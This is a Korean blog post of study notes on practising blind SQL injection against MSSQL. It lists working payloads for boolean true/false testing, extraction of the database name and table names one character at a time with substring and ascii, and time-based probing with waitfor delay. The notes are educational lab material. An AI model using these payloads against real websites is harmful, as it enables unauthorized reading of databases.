Blind SQL Injection 실습

2022. 7. 15. 10:35·보안/웹·모바일

Blind SQL Injection 실습

- DB 에러 페이지가 노출되지 않거나, 취약점 존재를 판단하기 어려운 경우.

 

방법: 참/거짓 쿼리의 반응이 서로 다름을 확인. 참 쿼리 대상의 반응, 거짓 쿼리의 대상의 반응이 다를 때.

EX) Oyesmall 데이터베이스라고 치면.. DB_NAME()의 첫번째 글자가 'a'니?

 

점검 방법

True query: ' and 1=1 -- 

False query: ' and 1=2 -- 

True query
False query

 

[db_name]

- DB 이름 확인(error_based): 'and db_name() > 1 -- 

- DB 이름 확인(blind_based): db_name()의 첫 글자 (a~z). substring 함수를 이용한다.

 

※ substring(원하는 문자열, 시작점, 글자수): 문자열에서 원하는 문자열 추출

※ 참고로 substring은 mssql 또는 mysql에서 사용함.

 

(query) ' and 'a' = substring(db_name(),1,1) --

...

(query) ' and 'o' = substring(db_name(),1,1) --

 

 

[아스키코드값으로 찾기]

(query) ' and 61 = ascii(substring(db_name(),1,1)) --

 

(query) ' and 111 = ascii(substring(db_name(),1,1)) -- 

#여기서 꿀팁: 아스키코드값으로 찾으면 좋은점이.. 나중에 스크립트 짤 때 이진트리탐색 시 ㅈㄴ금방 찾는다. 

문자열로도 대소비교 할 수 있지만, DBMS마다 소문자와 대문자 문자열 대소비교값이 다르다.

 

 

[information_schema.tables]

(query) ' and 111 = ascii(substring((select top 1 table_name from information_schema.tables),1,1)) -- 

첫 번째 테이블명으로도 찾을 수 있음

[db_name()] 부분과 같아 ㅋ설명생략

 


Blind SQL Injection - Time-based SQL Injection

- 점검 구문

(true query) '; if 1=1 waitfor delay '0:0:3' --- 

(false query) '; if 1=2 waitfor delay '0:0:3' --- 

 

(query) '; if 111 = ascii(substring(db_name(),1,1)) waitfor delay '0:0:3' -- 

참일 때 3초 딜레이시킨다.

 

 

저작자표시 (새창열림)

'보안 > 웹·모바일' 카테고리의 다른 글

파일 업로드 취약점 실습  (0) 2022.07.15
XSS (Cross Site Script) 실습  (0) 2022.07.15
특수문자 필터링, 정규표현식 for JavaScript  (0) 2022.07.15
Load of SQLInjection 문제풀이  (0) 2022.07.15
Union SQL Injection 실습  (0) 2022.07.14
'보안/웹·모바일' 카테고리의 다른 글
  • 파일 업로드 취약점 실습
  • XSS (Cross Site Script) 실습
  • 특수문자 필터링, 정규표현식 for JavaScript
  • Load of SQLInjection 문제풀이
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    혼공파
    공급망공격
    악성코드
    보안이슈
    정보보호
    IT뉴스
    파이썬공부
    windows internals
    리버싱초보
    자바스크립트 상속
    파이썬초보
    파이썬
    뉴스요약
    혼공단
    정보보안
    드림핵리버싱
    랜섬웨어
    kisa
    파이썬입문
    혼공
    커널디버깅
    정보보안교육
    리버싱
    jwt
    혼공학습단
    보안뉴스
    혼자공부하는파이썬
    프로세스
    it이슈
    윈도우인터널스
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
Blind SQL Injection 실습
상단으로

티스토리툴바